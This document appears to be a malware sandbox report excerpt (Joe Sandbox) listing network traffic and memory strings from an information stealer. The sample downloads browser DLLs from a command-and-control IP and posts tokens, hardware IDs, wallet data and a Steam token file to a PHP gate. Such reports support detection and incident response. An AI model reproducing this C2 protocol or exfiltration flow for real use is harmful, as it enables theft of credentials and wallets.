Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAKHost: 46.8.231.109Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 46.8.231.109Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="file"------IIEBGIDAAFHIJJJJEGCG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file"------JKEGDHCFCAAECAKECBAF--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGIHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="message"wallets------AFHDAKJKFCFBGCBGDHCB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"files------IIIEBGCBGIDHDGCAKJEB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file"------HCFIIIJJKJKFHIDGDBAK--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJEHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="message"ybncbhylepme------IEHCBAFIDAECBGCBFHJE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBKECAFIDAFIECBKEHD--

Source: Joe Sandbox View

IP Address: 46.8.231.109 46.8.231.109

Source: Joe Sandbox View

ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49731 -> 46.8.231.109:80

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

4_2_00404880

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 38 33 45 41 33 33 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="hwid"34DC83EA33BD3120641781------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="build"default------CGCFCFBKFCFCBGDGIEGH--

Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dllSf
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllAf
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllsi9
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/?
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpD
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpF
Source: MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpZze
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpoinomi
Source: MSBuild.exe, 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----IEHCBAFIDAECBGCBFHJEultrelease
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109AZ
Source: MSBuild.exe, 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109BAKKorm-data;
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: CR0QGWXdDl.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: CR0QGWXdDl.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
